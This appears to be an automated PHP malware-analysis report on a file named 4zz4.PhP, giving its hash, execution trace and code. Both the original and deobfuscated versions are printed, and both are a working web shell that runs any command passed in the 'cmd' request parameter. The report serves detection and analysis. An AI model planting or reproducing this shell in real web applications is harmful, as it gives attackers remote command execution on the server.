PHP Malware Analysis

4zz4.PhP

md5: b9fc9d119a38309e9799fd2e77aef52e

Jump to:

Screenshot


Attributes

Execution


Deobfuscated PHP code

<?php

if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = $_REQUEST['cmd'];
    system($cmd);
    echo "</pre>";
    die;
}
?>


Execution traces

data/traces/b9fc9d119a38309e9799fd2e77aef52e_trace-1676250884.1629.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:15:10.060720]
1	0	1	0.000168	393512
1	3	0	0.000235	394656	{main}	1		/var/www/html/uploads/4zz4.PhP	0	0
1	3	1	0.000258	394656
			0.000289	314224
TRACE END   [2023-02-12 23:15:10.060878]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>